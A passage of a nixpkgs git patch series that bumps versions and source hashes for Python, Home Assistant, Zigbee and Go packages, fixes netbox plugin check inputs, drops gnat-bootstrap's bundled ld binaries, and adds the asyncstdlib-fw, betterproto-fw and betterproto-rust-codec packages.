a/pkgs/development/python-modules/deebot-client/default.nix b/pkgs/development/python-modules/deebot-client/default.nix index 4b7d0bc16279..18ae5e569c1f 100644 --- a/pkgs/development/python-modules/deebot-client/default.nix +++ b/pkgs/development/python-modules/deebot-client/default.nix @@ -20,7 +20,7 @@ buildPythonPackage rec { pname = "deebot-client"; - version = "13.3.0"; + version = "13.4.0"; pyproject = true; disabled = pythonOlder "3.13"; @@ -29,12 +29,12 @@ buildPythonPackage rec { owner = "DeebotUniverse"; repo = "client.py"; tag = version; - hash = "sha256-dnh+3/viaaxlx3H0ceDH1N72kC1HBC7Szz+Gb6ryUJM="; + hash = "sha256-CEE6RDcYQLJ9a8QFYpCURYV8hvs0mLK8R+p68OfHKWQ="; }; cargoDeps = rustPlatform.fetchCargoVendor { inherit pname version src; - hash = "sha256-v8FtW1gPoPfOpcxUrM7g0LKR8k0VPR13hsHCPT8uLzs="; + hash = "sha256-0WdRkF5UAaPQS3A9DiAe9BuqF0aAaU0c2C0BU3Ue4n0="; }; pythonRelaxDeps = [ From 8798c7d006ff932da93782f8dfd2dd1572f7e9d4 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 22:59:56 +0200 Subject: [PATCH 217/390] python3Packages.homematicip: 2.0.5 -> 2.0.6 https://github.com/hahn-th/homematicip-rest-api/releases/tag/2.0.6 --- pkgs/development/python-modules/homematicip/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/homematicip/default.nix b/pkgs/development/python-modules/homematicip/default.nix index fb1feb4dc972..86f9eadefbe9 100644 --- a/pkgs/development/python-modules/homematicip/default.nix +++ b/pkgs/development/python-modules/homematicip/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "homematicip"; - version = "2.0.5"; + version = "2.0.6"; pyproject = true; disabled = pythonOlder "3.12"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "hahn-th"; repo = "homematicip-rest-api"; tag = version; - hash = "sha256-WvE5JTpAjRGLP7haIwD5hKOvz3hM7paV2jyds/yCxg8="; + hash = "sha256-HV+4ZmYr6LsSBbQnr4PUD2u0y6uWxuCMUgNh7gG9IH8="; }; build-system = [ From 24b5437818010d3fa52902f353815d950bd12b03 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 23:00:21 +0200 Subject: [PATCH 218/390] python3Packages.zigpy-zigate: 0.13.2 -> 0.13.3 https://github.com/zigpy/zigpy-zigate/releases/tag/0.13.3 --- pkgs/development/python-modules/zigpy-zigate/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/zigpy-zigate/default.nix b/pkgs/development/python-modules/zigpy-zigate/default.nix index 589178993688..9cb5c4f4b1ab 100644 --- a/pkgs/development/python-modules/zigpy-zigate/default.nix +++ b/pkgs/development/python-modules/zigpy-zigate/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "zigpy-zigate"; - version = "0.13.2"; + version = "0.13.3"; pyproject = true; disabled = pythonOlder "3.8"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "zigpy-zigate"; tag = version; - hash = "sha256-MlAX7dcRZziMYCpG64OemZ8czwvDXpdoRaDVo1sUCno="; + hash = "sha256-reOt0bPPkKDKeu8CESJtLDEmpkOmgopXk65BqBlBIhY="; }; postPatch = '' From 10a5a91bc0a8093d22b2d7d8f696dd084ddf47ca Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Mon, 23 Jun 2025 12:11:41 -0700 Subject: [PATCH 219/390] vectorcode: add bundled chromadb to path --- pkgs/by-name/ve/vectorcode/package.nix | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index c02fcfe37131..8d69ef0eb627 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -113,6 +113,16 @@ python.pkgs.buildPythonApplication rec { installShellCompletion vectorcode.{bash,zsh} ''; + postFixup = '' + wrapProgram $out/bin/vectorcode \ + --prefix PYTHONPATH : "$PYTHONPATH" \ + --set PATH ${ + lib.makeBinPath [ + python + ] + }; + ''; + pythonImportsCheck = [ "vectorcode" ]; nativeCheckInputs = From 624c224795906207ba12de0a9c748ae8375a70f0 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 23:02:29 +0200 Subject: [PATCH 220/390] python3Packages.zigpy-znp: 0.14.0 -> 0.14.1 https://github.com/zigpy/zigpy-znp/releases/tag/v0.14.1 --- pkgs/development/python-modules/zigpy-znp/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/zigpy-znp/default.nix b/pkgs/development/python-modules/zigpy-znp/default.nix index d78132440c01..9be00b700a20 100644 --- a/pkgs/development/python-modules/zigpy-znp/default.nix +++ b/pkgs/development/python-modules/zigpy-znp/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "zigpy-znp"; - version = "0.14.0"; + version = "0.14.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "zigpy-znp"; tag = "v${version}"; - hash = "sha256-vYB04vEFqpqrjJMS73mtYXakp7lEIJjB+tT0SF9hpWM="; + hash = "sha256-V662zDUBMbr+cARxrwt8196Ml4zlGEAudR3BtvY96HM="; }; postPatch = '' From bfefc8d2f32a4f9d60da1cec33f67d2957a42f6d Mon Sep 17 00:00:00 2001 From: Peter Collingbourne Date: Sun, 22 Jun 2025 21:00:56 -0700 Subject: [PATCH 221/390] gnat-bootstrap: remove ld binaries After #400734 the path to the binutils wrapper is no longer passed via -B and is instead passed via $PATH. This had the following consequences for gnat-bootstrap: - GCC appends $prefix/$triple/bin to collect2's $COMPILER_PATH, which is where gnat-bootstrap's bundled linker binary is installed. For normal gcc packages, this has no impact on linker selection because binutils and gcc are installed to separate prefixes. - -B paths are also added to $COMPILER_PATH but they appear before $prefix/$triple/bin. This meant that gnat-bootstrap's collect2 would find the binutils wrapper before #400734. - collect2 searches for the linker on $PATH but only after failing to find it on $COMPILER_PATH. Because #400734 caused the binutils wrapper path to be removed from $COMPILER_PATH while the bundled linker on $prefix/$triple/bin was still present, gnat-bootstrap started finding the bundled linker on $COMPILER_PATH after #400734. The bundled ld binaries should not be used by builds utilizing gnat-bootstrap because we need our binutils wrappers to be used so that RPATH is set correctly. The ld binaries are unused as far as I'm aware, so remove them from the package so that collect2 finds the binutils wrapper on $PATH. --- pkgs/development/compilers/gnat-bootstrap/default.nix | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pkgs/development/compilers/gnat-bootstrap/default.nix b/pkgs/development/compilers/gnat-bootstrap/default.nix index 4e54e78ba904..09e0b82dd398 100644 --- a/pkgs/development/compilers/gnat-bootstrap/default.nix +++ b/pkgs/development/compilers/gnat-bootstrap/default.nix @@ -185,6 +185,10 @@ stdenv.mkDerivation ( # other bytes. + '' sed -i "s,/usr/bin/sed,sed\x00\x00\x00\x00\x00\x00\x00\x00\x00," libexec/gcc/${upstreamTriplet}/${gccVersion}/install-tools/fixincl + '' + # Make sure that collect2 finds binutils-wrapper instead of the included ld binary. + + '' + rm -f bin/ld ${upstreamTriplet}/bin/ld ''; installPhase = From ab39869328248d4dae26cee94e7c0c8b9390adf3 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 23:06:34 +0200 Subject: [PATCH 222/390] python3Packages.zha: 0.0.59 -> 0.0.60 https://github.com/zigpy/zha/releases/tag/0.0.60 --- pkgs/development/python-modules/zha/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/zha/default.nix b/pkgs/development/python-modules/zha/default.nix index 8395428be649..ef17ff74e575 100644 --- a/pkgs/development/python-modules/zha/default.nix +++ b/pkgs/development/python-modules/zha/default.nix @@ -27,7 +27,7 @@ buildPythonPackage rec { pname = "zha"; - version = "0.0.59"; + version = "0.0.60"; pyproject = true; disabled = pythonOlder "3.12"; @@ -36,7 +36,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "zha"; tag = version; - hash = "sha256-wddMeXFKk8HBz8Hle5kbRaOkZLOr98HoiHYYlBtuxSA="; + hash = "sha256-Bx6JcVKosf6wXe+LRP9R4iFAva/rJ15JhYchCx2CbJk="; }; postPatch = '' From 1b7c6b61801ad5f2ebff2a2676cd0176d3418463 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 23:06:40 +0200 Subject: [PATCH 223/390] home-assistant: 2025.6.1 -> 2025.6.2 https://github.com/home-assistant/core/releases/tag/2025.6.2 --- pkgs/servers/home-assistant/component-packages.nix | 2 +- pkgs/servers/home-assistant/default.nix | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/pkgs/servers/home-assistant/component-packages.nix b/pkgs/servers/home-assistant/component-packages.nix index 0617231f1378..a30b759c63f0 100644 --- a/pkgs/servers/home-assistant/component-packages.nix +++ b/pkgs/servers/home-assistant/component-packages.nix @@ -2,7 +2,7 @@ # Do not edit! { - version = "2025.6.1"; + version = "2025.6.2"; components = { "3_day_blinds" = ps: with ps; [ diff --git a/pkgs/servers/home-assistant/default.nix b/pkgs/servers/home-assistant/default.nix index 3fffe4a6faa1..2d2b22448073 100644 --- a/pkgs/servers/home-assistant/default.nix +++ b/pkgs/servers/home-assistant/default.nix @@ -386,7 +386,7 @@ let extraBuildInputs = extraPackages python.pkgs; # Don't forget to run update-component-packages.py after updating - hassVersion = "2025.6.1"; + hassVersion = "2025.6.2"; in python.pkgs.buildPythonApplication rec { @@ -407,13 +407,13 @@ python.pkgs.buildPythonApplication rec { owner = "home-assistant"; repo = "core"; tag = version; - hash = "sha256-Pp2IIpVfzYE4BBJEq4Ll2s0vgsqxAApE8TmVd1zAg38="; + hash = "sha256-5+L687sUD+e8F9UYnFURSUMG2/USuOpNu5a9By0yZ/g="; }; # Secondary source is pypi sdist for translations sdist = fetchPypi { inherit pname version; - hash = "sha256-yc4tEyR3xpo4x9daWEwXFJBhSH3xeOc2ckO+7LWVRlA="; + hash = "sha256-DLqP9/b68ikGuxrvFiJCqguE2WgnKP0HtiU2X7tUbkE="; }; build-system = with python.pkgs; [ From aad68ab9fbbe7da256c0b5979733869a4501f223 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 21:08:06 +0000 Subject: [PATCH 224/390] python3Packages.gliner: 0.2.20 -> 0.2.21 --- pkgs/development/python-modules/gliner/default.nix | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkgs/development/python-modules/gliner/default.nix b/pkgs/development/python-modules/gliner/default.nix index 77583b257065..b63b96443117 100644 --- a/pkgs/development/python-modules/gliner/default.nix +++ b/pkgs/development/python-modules/gliner/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "gliner"; - version = "0.2.20"; + version = "0.2.21"; pyproject = true; src = fetchFromGitHub { owner = "urchade"; repo = "GLiNER"; - tag = "v${version}"; - hash = "sha256-aWBDnaiq9Z30YT4sszEVk1WAyU4aH8SFD6ESOBkT2ds="; + tag = version; + hash = "sha256-v8Q/+et9yWeVSWt1K9Ahg3I4dz5/Ft+o1ueNOSaGEOU="; }; build-system = [ @@ -48,7 +48,7 @@ buildPythonPackage rec { meta = { description = "Generalist and Lightweight Model for Named Entity Recognition"; homepage = "https://github.com/urchade/GLiNER"; - changelog = "https://github.com/urchade/GLiNER/releases/tag/v${version}"; + changelog = "https://github.com/urchade/GLiNER/releases/tag/${src.tag}"; license = lib.licenses.asl20; maintainers = with lib.maintainers; [ GaetanLepage ]; badPlatforms = [ From fdb246701566109fbdea47a14c0b91482fc16087 Mon Sep 17 00:00:00 2001 From: Piotr Kwiecinski <2151333+piotrkwiecinski@users.noreply.github.com> Date: Mon, 23 Jun 2025 23:11:08 +0200 Subject: [PATCH 225/390] magento-cloud: use versionCheckHook --- pkgs/by-name/ma/magento-cloud/package.nix | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/pkgs/by-name/ma/magento-cloud/package.nix b/pkgs/by-name/ma/magento-cloud/package.nix index 73a85f777c4c..7c93a6d9eb84 100644 --- a/pkgs/by-name/ma/magento-cloud/package.nix +++ b/pkgs/by-name/ma/magento-cloud/package.nix @@ -4,7 +4,8 @@ fetchurl, makeBinaryWrapper, php, - testers, + writableTmpDirAsHomeHook, + versionCheckHook, }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "magento-cloud"; @@ -32,12 +33,17 @@ stdenvNoCC.mkDerivation (finalAttrs: { runHook postInstall ''; + nativeInstallCheckInputs = [ + writableTmpDirAsHomeHook + versionCheckHook + ]; + + doInstallCheck = true; + versionCheckProgramArg = "--version"; + versionCheckKeepEnvironment = [ "HOME" ]; + passthru = { updateScript = ./update.sh; - tests.version = testers.testVersion { - package = finalAttrs.finalPackage; - command = "HOME=$TMPDIR magento-cloud --version"; - }; }; meta = { From 86d9cfd59885ee9aef42296b9fdad1e0a1a410de Mon Sep 17 00:00:00 2001 From: emaryn Date: Tue, 24 Jun 2025 05:11:20 +0800 Subject: [PATCH 226/390] python312Packages.netbox-topology-views: fix --- .../python-modules/netbox-topology-views/default.nix | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/netbox-topology-views/default.nix b/pkgs/development/python-modules/netbox-topology-views/default.nix index d1a08a5735ee..8617b16d559c 100644 --- a/pkgs/development/python-modules/netbox-topology-views/default.nix +++ b/pkgs/development/python-modules/netbox-topology-views/default.nix @@ -5,6 +5,8 @@ setuptools, netbox, pythonAtLeast, + django, + netaddr, }: buildPythonPackage rec { pname = "netbox-topology-views"; @@ -22,7 +24,11 @@ buildPythonPackage rec { build-system = [ setuptools ]; - nativeCheckInputs = [ netbox ]; + nativeCheckInputs = [ + netbox + django + netaddr + ]; preFixup = '' export PYTHONPATH=${netbox}/opt/netbox/netbox:$PYTHONPATH From 3b51de60e99300e67722f21b15f9917d3bf8f9c3 Mon Sep 17 00:00:00 2001 From: emaryn Date: Tue, 24 Jun 2025 05:11:52 +0800 Subject: [PATCH 227/390] python312Packages.netbox-napalm-plugin: fix --- .../python-modules/netbox-napalm-plugin/default.nix | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/netbox-napalm-plugin/default.nix b/pkgs/development/python-modules/netbox-napalm-plugin/default.nix index d3b03558148e..3b06f9abc9a0 100644 --- a/pkgs/development/python-modules/netbox-napalm-plugin/default.nix +++ b/pkgs/development/python-modules/netbox-napalm-plugin/default.nix @@ -6,6 +6,7 @@ netbox, pythonAtLeast, napalm, + django, }: buildPythonPackage rec { pname = "netbox-napalm-plugin"; @@ -25,7 +26,10 @@ buildPythonPackage rec { dependencies = [ napalm ]; - nativeCheckInputs = [ netbox ]; + nativeCheckInputs = [ + netbox + django + ]; postPatch = '' substituteInPlace pyproject.toml \ From cd28da246134d66128e76ce2110aca72226a11e4 Mon Sep 17 00:00:00 2001 From: emaryn Date: Tue, 24 Jun 2025 05:12:30 +0800 Subject: [PATCH 228/390] python312Packages.netbox-floorplan-plugin: fix --- .../python-modules/netbox-floorplan-plugin/default.nix | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/netbox-floorplan-plugin/default.nix b/pkgs/development/python-modules/netbox-floorplan-plugin/default.nix index 41e9cc5c0d16..a8ede465dbcb 100644 --- a/pkgs/development/python-modules/netbox-floorplan-plugin/default.nix +++ b/pkgs/development/python-modules/netbox-floorplan-plugin/default.nix @@ -5,6 +5,8 @@ setuptools, netbox, pythonAtLeast, + django, + netaddr, }: buildPythonPackage rec { pname = "netbox-floorplan-plugin"; @@ -22,7 +24,11 @@ buildPythonPackage rec { build-system = [ setuptools ]; - nativeCheckInputs = [ netbox ]; + nativeCheckInputs = [ + netbox + django + netaddr + ]; preFixup = '' export PYTHONPATH=${netbox}/opt/netbox/netbox:$PYTHONPATH From a0cf5b7d10e8d3eb4f1ac5d108b69949a3f00e10 Mon Sep 17 00:00:00 2001 From: emaryn Date: Tue, 24 Jun 2025 05:13:07 +0800 Subject: [PATCH 229/390] python312Packages.netbox-contract: fix --- pkgs/development/python-modules/netbox-contract/default.nix | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pkgs/development/python-modules/netbox-contract/default.nix b/pkgs/development/python-modules/netbox-contract/default.nix index 852ece1fc516..4ce0be97692b 100644 --- a/pkgs/development/python-modules/netbox-contract/default.nix +++ b/pkgs/development/python-modules/netbox-contract/default.nix @@ -7,6 +7,7 @@ python-dateutil, drf-yasg, netbox, + netaddr, }: buildPythonPackage rec { pname = "netbox-contract"; @@ -32,6 +33,7 @@ buildPythonPackage rec { # running tests requires initialized django project nativeCheckInputs = [ netbox + netaddr ]; preFixup = '' From fcc7e04c6970b79b654b0ac23acd866936381720 Mon Sep 17 00:00:00 2001 From: emaryn Date: Tue, 24 Jun 2025 05:13:40 +0800 Subject: [PATCH 230/390] python312Packages.netbox-attachments: fix --- .../python-modules/netbox-attachments/default.nix | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/netbox-attachments/default.nix b/pkgs/development/python-modules/netbox-attachments/default.nix index c998030161e4..88fbf9a619ba 100644 --- a/pkgs/development/python-modules/netbox-attachments/default.nix +++ b/pkgs/development/python-modules/netbox-attachments/default.nix @@ -5,6 +5,8 @@ fetchFromGitHub, setuptools, netbox, + django, + netaddr, }: buildPythonPackage rec { pname = "netbox-attachments"; @@ -22,7 +24,11 @@ buildPythonPackage rec { build-system = [ setuptools ]; - nativeCheckInputs = [ netbox ]; + nativeCheckInputs = [ + netbox + django + netaddr + ]; preFixup = '' export PYTHONPATH=${netbox}/opt/netbox/netbox:$PYTHONPATH From a8ca46cf78201c05fa6943f871529c1726371d36 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 21:18:52 +0000 Subject: [PATCH 231/390] oci2git: 0.1.4 -> 0.1.5 --- pkgs/by-name/oc/oci2git/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/oc/oci2git/package.nix b/pkgs/by-name/oc/oci2git/package.nix index 98591d2d1292..270943ede07a 100644 --- a/pkgs/by-name/oc/oci2git/package.nix +++ b/pkgs/by-name/oc/oci2git/package.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "oci2git"; - version = "0.1.4"; + version = "0.1.5"; src = fetchFromGitHub { owner = "Virviil"; repo = "oci2git"; tag = "v${finalAttrs.version}"; - hash = "sha256-vz4OqRg7CYliAswQWtzEWUb7Z10fwxDhYrvQ3q4ZtPA="; + hash = "sha256-axUNZWV9hKdnHfPqgIx1O2onHvBb4n5Wdv2laNV83Ik="; }; - cargoHash = "sha256-Aj93f+L4h1FxHpWehD11sTPXTFsg2B9rJ96mSJ/VVQ4="; + cargoHash = "sha256-1U/kvuXAPYFU1YekY6xKeEsTJ03ol1uN2DDp7j/Sync="; nativeBuildInputs = [ pkg-config From 65a6d7099057b013a65b6563585ffb1b500281e7 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 21:23:15 +0000 Subject: [PATCH 232/390] fluxcd-operator-mcp: 0.22.0 -> 0.23.0 --- pkgs/by-name/fl/fluxcd-operator-mcp/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/fl/fluxcd-operator-mcp/package.nix b/pkgs/by-name/fl/fluxcd-operator-mcp/package.nix index d7ce4b4fedb9..fcaf0955494c 100644 --- a/pkgs/by-name/fl/fluxcd-operator-mcp/package.nix +++ b/pkgs/by-name/fl/fluxcd-operator-mcp/package.nix @@ -9,16 +9,16 @@ }: buildGoModule (finalAttrs: { pname = "fluxcd-operator-mcp"; - version = "0.22.0"; + version = "0.23.0"; src = fetchFromGitHub { owner = "controlplaneio-fluxcd"; repo = "fluxcd-operator"; tag = "v${finalAttrs.version}"; - hash = "sha256-fpqioVo9UtuyiXUOpHQmsrkssDaseUjllBmsQ7r39Ww="; + hash = "sha256-pNJPP49yAZ5guo6fYRkICxuY5Hz6eaF6xmuoLx/CBHo="; }; - vendorHash = "sha256-uR8FpJTzexFCM5M9K0h+80wlFnC0qNvQ/NMFnrVQWAo="; + vendorHash = "sha256-tTers8A4x8hS43/NIG2LH3mTWlGTkLBIPPk05mINsWg="; ldflags = [ "-s" From 7891319ca81736c66ebd56d1d95a6941f74c5096 Mon Sep 17 00:00:00 2001 From: transcaffeine Date: Mon, 23 Jun 2025 23:24:22 +0200 Subject: [PATCH 233/390] victoriametrics: 1.119.0 -> 1.120.0 Release notes: https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.120.0 Full changelog: https://github.com/VictoriaMetrics/VictoriaMetrics/compare/v1.119.0...v1.120.0 --- pkgs/by-name/vi/victoriametrics/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/vi/victoriametrics/package.nix b/pkgs/by-name/vi/victoriametrics/package.nix index b4a72734f194..8c655015dbae 100644 --- a/pkgs/by-name/vi/victoriametrics/package.nix +++ b/pkgs/by-name/vi/victoriametrics/package.nix @@ -13,13 +13,13 @@ buildGoModule (finalAttrs: { pname = "VictoriaMetrics"; - version = "1.119.0"; + version = "1.120.0"; src = fetchFromGitHub { owner = "VictoriaMetrics"; repo = "VictoriaMetrics"; tag = "v${finalAttrs.version}"; - hash = "sha256-Gc3B3JmTbINdPJ8PIhcuQhFD+FoxNOskoBEcDoMAUUk="; + hash = "sha256-tU3rRdYpP0uO0SeIuYarHwJu80m/iRVbYtlbON1WeSQ="; }; vendorHash = null; From 64deeffc0802c55d9b6bc24ea8913fac0349b862 Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Sun, 15 Jun 2025 10:12:38 -0700 Subject: [PATCH 234/390] python3Packages.asyncstdlib-fw: init at 3.13.2 --- .../python-modules/asyncstdlib-fw/default.nix | 38 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 40 insertions(+) create mode 100644 pkgs/development/python-modules/asyncstdlib-fw/default.nix diff --git a/pkgs/development/python-modules/asyncstdlib-fw/default.nix b/pkgs/development/python-modules/asyncstdlib-fw/default.nix new file mode 100644 index 000000000000..2ffad097191a --- /dev/null +++ b/pkgs/development/python-modules/asyncstdlib-fw/default.nix @@ -0,0 +1,38 @@ +{ + lib, + buildPythonPackage, + fetchPypi, + + # build-system + pdm-backend, +}: + +buildPythonPackage rec { + pname = "asyncstdlib-fw"; + version = "3.13.2"; + pyproject = true; + + # Not available from any repo + src = fetchPypi { + pname = "asyncstdlib_fw"; + inherit version; + hash = "sha256-Ua0JTCBMWTbDBA84wy/W1UmzkcmA8h8foJW2X7aAah8="; + }; + + build-system = [ + pdm-backend + ]; + + doCheck = false; # no tests supplied + + pythonImportsCheck = [ + "asyncstdlib" + ]; + + meta = { + description = "Fork of asyncstdlib that work with fireworks-ai"; + homepage = "https://pypi.org/project/asyncstdlib-fw/"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ sarahec ]; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 366ee388f55b..6732f404a038 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -1046,6 +1046,8 @@ self: super: with self; { asyncstdlib = callPackage ../development/python-modules/asyncstdlib { }; + asyncstdlib-fw = callPackage ../development/python-modules/asyncstdlib-fw { }; + asynctest = callPackage ../development/python-modules/asynctest { }; asyncua = callPackage ../development/python-modules/asyncua { }; From c7aef91feb8aa82f5d3ff968fe17fe8cf2c403c6 Mon Sep 17 00:00:00 2001 From: "Adam C. Stephens" Date: Mon, 23 Jun 2025 17:29:54 -0400 Subject: [PATCH 235/390] garage_0_x: disable tests 0.x is no longer supported, but until we remove from tree we'll skip running tests on it --- pkgs/tools/filesystems/garage/default.nix | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix index 177862b18d26..5af808b5a78b 100644 --- a/pkgs/tools/filesystems/garage/default.nix +++ b/pkgs/tools/filesystems/garage/default.nix @@ -92,7 +92,9 @@ let "k2v::poll::test_poll_item" ]; - passthru.tests = nixosTests."garage_${lib.versions.major version}"; + passthru.tests = + lib.optionalAttrs (lib.versionAtLeast version "1") + nixosTests."garage_${lib.versions.major version}"; meta = { description = "S3-compatible object store for small self-hosted geo-distributed deployments"; From e2e861227212a1e40d2f022949474cd281a0b984 Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Sun, 15 Jun 2025 10:55:56 -0700 Subject: [PATCH 236/390] python3Packages.betterproto-rust-codec: init at 0.1.1 --- .../betterproto-rust-codec/default.nix | 49 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 51 insertions(+) create mode 100644 pkgs/development/python-modules/betterproto-rust-codec/default.nix diff --git a/pkgs/development/python-modules/betterproto-rust-codec/default.nix b/pkgs/development/python-modules/betterproto-rust-codec/default.nix new file mode 100644 index 000000000000..b29c3d15b234 --- /dev/null +++ b/pkgs/development/python-modules/betterproto-rust-codec/default.nix @@ -0,0 +1,49 @@ +{ + lib, + buildPythonPackage, + fetchFromGitHub, + + # build + cargo, + rustc, + rustPlatform, +}: + +buildPythonPackage rec { + pname = "betterproto-rust-codec"; + version = "0.1.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "124C41p"; + repo = "betterproto-rust-codec"; + tag = "v${version}"; + hash = "sha256-Q8oCk/VVe4Dcw6Z5PBFJBKRlsHgi6Jn+FWDqLH8BgYc="; + }; + + cargoDeps = rustPlatform.fetchCargoVendor { + inherit pname version src; + hash = "sha256-zYXE55o1/Tt6XJahV6WcGANPM/9xk6uYwQLazkIJj7A="; + }; + + build-system = [ + rustPlatform.maturinBuildHook + ]; + + nativeBuildInputs = [ + cargo + rustPlatform.cargoSetupHook + rustc + ]; + + pythonImportsCheck = [ + "betterproto_rust_codec" + ]; + + meta = { + description = "Converter between betterproto messages and the Protobuf wire format"; + homepage = "https://github.com/124C41p/betterproto-rust-codec/releases/tag/${src.tag}"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ sarahec ]; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 6732f404a038..eca2b8999fa4 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -1806,6 +1806,8 @@ self: super: with self; { betterproto = callPackage ../development/python-modules/betterproto { }; + betterproto-rust-codec = callPackage ../development/python-modules/betterproto-rust-codec { }; + bezier = callPackage ../development/python-modules/bezier { }; beziers = callPackage ../development/python-modules/beziers { }; From dea994cf5fa0e83a0942859197336b3433fa2bcb Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Sun, 15 Jun 2025 10:19:08 -0700 Subject: [PATCH 237/390] python3Packages.betterproto-fw: init at 2.0.3 --- .../python-modules/betterproto-fw/default.nix | 64 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 66 insertions(+) create mode 100644 pkgs/development/python-modules/betterproto-fw/default.nix diff --git a/pkgs/development/python-modules/betterproto-fw/default.nix b/pkgs/development/python-modules/betterproto-fw/default.nix new file mode 100644 index 000000000000..979710d92747 --- /dev/null +++ b/pkgs/development/python-modules/betterproto-fw/default.nix @@ -0,0 +1,64 @@ +{ + lib, + buildPythonPackage, + fetchPypi, + + # build-system + pdm-backend, + + # dependencies + grpclib, + python-dateutil, + typing-extensions, + + # optional dependencies + jinja2, + ruff, + betterproto-rust-codec, +}: + +buildPythonPackage rec { + pname = "betterproto-fw"; + version = "2.0.3"; + pyproject = true; + + # Not available on Github + src = fetchPypi { + pname = "betterproto_fw"; + inherit version; + hash = "sha256-ut5GchUiTygHhC2hj+gSWKCoVnZrrV8KIKFHTFzba5M="; + }; + + build-system = [ + pdm-backend + ]; + + dependencies = [ + grpclib + python-dateutil + typing-extensions + ]; + + optional-dependencies = { + compiler = [ + jinja2 + ruff + ]; + rust-codec = [ + betterproto-rust-codec + ]; + }; + + doCheck = false; # no tests supplied + + pythonImportsCheck = [ + "betterproto" + ]; + + meta = { + description = "Fork of betterproto used in fireworks-ai"; + homepage = "https://pypi.org/project/betterproto-fw/"; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.sarahec ]; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index eca2b8999fa4..9e832ebb1b04 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -1806,6 +1806,8 @@ self: super: with self; { betterproto = callPackage ../development/python-modules/betterproto { }; + betterproto-fw = callPackage ../development/python-modules/betterproto-fw { }; + betterproto-rust-codec = callPackage ../development/python-modules/betterproto-rust-codec { }; bezier = callPackage ../development/python-modules/bezier { }; From c9be4e509ea3e8a0614443a559ce4ad5f28c4be3 Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Sat, 14 Jun 2025 16:09:06 +0000 Subject: [PATCH 238/390] python312Packages.fireworks-ai: 0.15.13 -> 0.17.16 --- .../python-modules/fireworks-ai/default.nix | 102 ++++++++++++++++-- 1 file changed, 91 insertions(+), 11 deletions(-) diff --git 